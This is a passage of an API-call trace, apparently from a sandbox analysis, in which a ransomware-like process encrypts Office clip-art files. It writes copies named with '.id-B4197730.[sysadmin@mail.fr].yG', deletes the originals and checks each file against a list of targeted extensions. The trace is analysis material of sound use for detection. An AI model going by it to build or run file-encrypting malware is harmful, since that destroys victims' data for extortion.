	[0151.041] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.041] SetEndOfFile (hFile=0x4a4) returned 1
	[0151.041] CloseHandle (hObject=0x4a4) returned 1
	[0151.041] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.042] SetEndOfFile (hFile=0x42c) returned 1
	[0151.044] CloseHandle (hObject=0x42c) returned 1
	[0151.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0151.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.367] lstrlenW (lpString=".doc") returned 4
	[0151.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.367] lstrlenW (lpString=".docx") returned 5
	[0151.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.367] lstrlenW (lpString=".pdf") returned 4
	[0151.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.367] lstrlenW (lpString=".xls") returned 4
	[0151.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.367] lstrlenW (lpString=".xlsx") returned 5
	[0151.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.367] lstrlenW (lpString=".ppt") returned 4
	[0151.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString=".zip") returned 4
	[0151.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.368] lstrlenW (lpString=".rar") returned 4
	[0151.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString=".bz2") returned 4
	[0151.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString=".7z") returned 3
	[0151.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString=".dbf") returned 4
	[0151.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString=".1cd") returned 4
	[0151.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString=".jpg") returned 4
	[0151.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.368] lstrlenW (lpString=".doc") returned 4
	[0151.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString=".docx") returned 5
	[0151.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.368] lstrlenW (lpString=".pdf") returned 4
	[0151.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.368] lstrlenW (lpString=".xls") returned 4
	[0151.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.368] lstrlenW (lpString=".xlsx") returned 5
	[0151.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.369] lstrlenW (lpString=".ppt") returned 4
	[0151.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.369] lstrlenW (lpString=".zip") returned 4
	[0151.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.369] lstrlenW (lpString=".rar") returned 4
	[0151.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.369] lstrlenW (lpString=".bz2") returned 4
	[0151.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.369] lstrlenW (lpString=".7z") returned 3
	[0151.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.369] lstrlenW (lpString=".dbf") returned 4
	[0151.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.369] lstrlenW (lpString=".1cd") returned 4
	[0151.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0151.369] lstrlenW (lpString=".jpg") returned 4
	[0151.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.369] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.369] lstrlenW (lpString="HH02282_.WMF") returned 12
	[0151.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.370] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=7932) returned 1
	[0151.370] CloseHandle (hObject=0x42c) returned 1
	[0151.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220
	[0151.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.371] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.371] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0151.372] GetLastError () returned 0x0
	[0151.372] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1efc, lpOverlapped=0x0) returned 1
	[0151.374] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1f00, lpOverlapped=0x0) returned 1
	[0151.375] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.375] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.375] SetEndOfFile (hFile=0x4a4) returned 1
	[0151.376] CloseHandle (hObject=0x4a4) returned 1
	[0151.376] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.376] SetEndOfFile (hFile=0x42c) returned 1
	[0151.379] CloseHandle (hObject=0x42c) returned 1
	[0151.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1
	[0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.381] lstrlenW (lpString=".doc") returned 4
	[0151.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.381] lstrlenW (lpString=".docx") returned 5
	[0151.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.381] lstrlenW (lpString=".pdf") returned 4
	[0151.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.381] lstrlenW (lpString=".xls") returned 4
	[0151.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.381] lstrlenW (lpString=".xlsx") returned 5
	[0151.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.381] lstrlenW (lpString=".ppt") returned 4
	[0151.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.381] lstrlenW (lpString=".zip") returned 4
	[0151.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.381] lstrlenW (lpString=".rar") returned 4
	[0151.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString=".bz2") returned 4
	[0151.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString=".7z") returned 3
	[0151.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.382] lstrlenW (lpString=".dbf") returned 4
	[0151.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.382] lstrlenW (lpString=".1cd") returned 4
	[0151.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.382] lstrlenW (lpString=".jpg") returned 4
	[0151.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.382] lstrlenW (lpString=".doc") returned 4
	[0151.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString=".docx") returned 5
	[0151.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.382] lstrlenW (lpString=".pdf") returned 4
	[0151.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString=".xls") returned 4
	[0151.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.382] lstrlenW (lpString=".xlsx") returned 5
	[0151.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.382] lstrlenW (lpString=".ppt") returned 4
	[0151.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.383] lstrlenW (lpString=".zip") returned 4
	[0151.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.383] lstrlenW (lpString=".rar") returned 4
	[0151.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.383] lstrlenW (lpString=".bz2") returned 4
	[0151.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.383] lstrlenW (lpString=".7z") returned 3
	[0151.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.383] lstrlenW (lpString=".dbf") returned 4
	[0151.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.383] lstrlenW (lpString=".1cd") returned 4
	[0151.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0151.383] lstrlenW (lpString=".jpg") returned 4
	[0151.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.383] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.383] lstrlenW (lpString="HH02298_.WMF") returned 12
	[0151.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.384] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=5552) returned 1
	[0151.384] CloseHandle (hObject=0x42c) returned 1
	[0151.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220
	[0151.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.385] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.385] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0151.386] GetLastError () returned 0x0
	[0151.386] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x15b0, lpOverlapped=0x0) returned 1
	[0151.388] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x15c0, lpOverlapped=0x0) returned 1
	[0151.389] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.389] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.389] SetEndOfFile (hFile=0x4a4) returned 1
	[0151.389] CloseHandle (hObject=0x4a4) returned 1
	[0151.389] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.389] SetEndOfFile (hFile=0x42c) returned 1
	[0151.392] CloseHandle (hObject=0x42c) returned 1
	[0151.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1
	[0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.394] lstrlenW (lpString=".doc") returned 4
	[0151.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString=".docx") returned 5
	[0151.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.394] lstrlenW (lpString=".pdf") returned 4
	[0151.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString=".xls") returned 4
	[0151.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.394] lstrlenW (lpString=".xlsx") returned 5
	[0151.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.394] lstrlenW (lpString=".ppt") returned 4
	[0151.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.394] lstrlenW (lpString=".zip") returned 4
	[0151.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.394] lstrlenW (lpString=".rar") returned 4
	[0151.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString=".bz2") returned 4
	[0151.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString=".7z") returned 3
	[0151.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.394] lstrlenW (lpString=".dbf") returned 4
	[0151.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.394] lstrlenW (lpString=".1cd") returned 4
	[0151.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.395] lstrlenW (lpString=".jpg") returned 4
	[0151.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.395] lstrlenW (lpString=".doc") returned 4
	[0151.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString=".docx") returned 5
	[0151.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.395] lstrlenW (lpString=".pdf") returned 4
	[0151.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString=".xls") returned 4
	[0151.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.395] lstrlenW (lpString=".xlsx") returned 5
	[0151.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.395] lstrlenW (lpString=".ppt") returned 4
	[0151.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.395] lstrlenW (lpString=".zip") returned 4
	[0151.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.395] lstrlenW (lpString=".rar") returned 4
	[0151.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString=".bz2") returned 4
	[0151.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.395] lstrlenW (lpString=".7z") returned 3
	[0151.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.396] lstrlenW (lpString=".dbf") returned 4
	[0151.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.396] lstrlenW (lpString=".1cd") returned 4
	[0151.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0151.396] lstrlenW (lpString=".jpg") returned 4
	[0151.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.396] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.396] lstrlenW (lpString="HH02312_.WMF") returned 12
	[0151.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.397] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=4970) returned 1
	[0151.397] CloseHandle (hObject=0x42c) returned 1
	[0151.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220
	[0151.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0151.398] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.398] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0151.399] GetLastError () returned 0x0
	[0151.399] ReadFile (in: hFile=0x42c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0151.646] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1370, lpOverlapped=0x0) returned 1
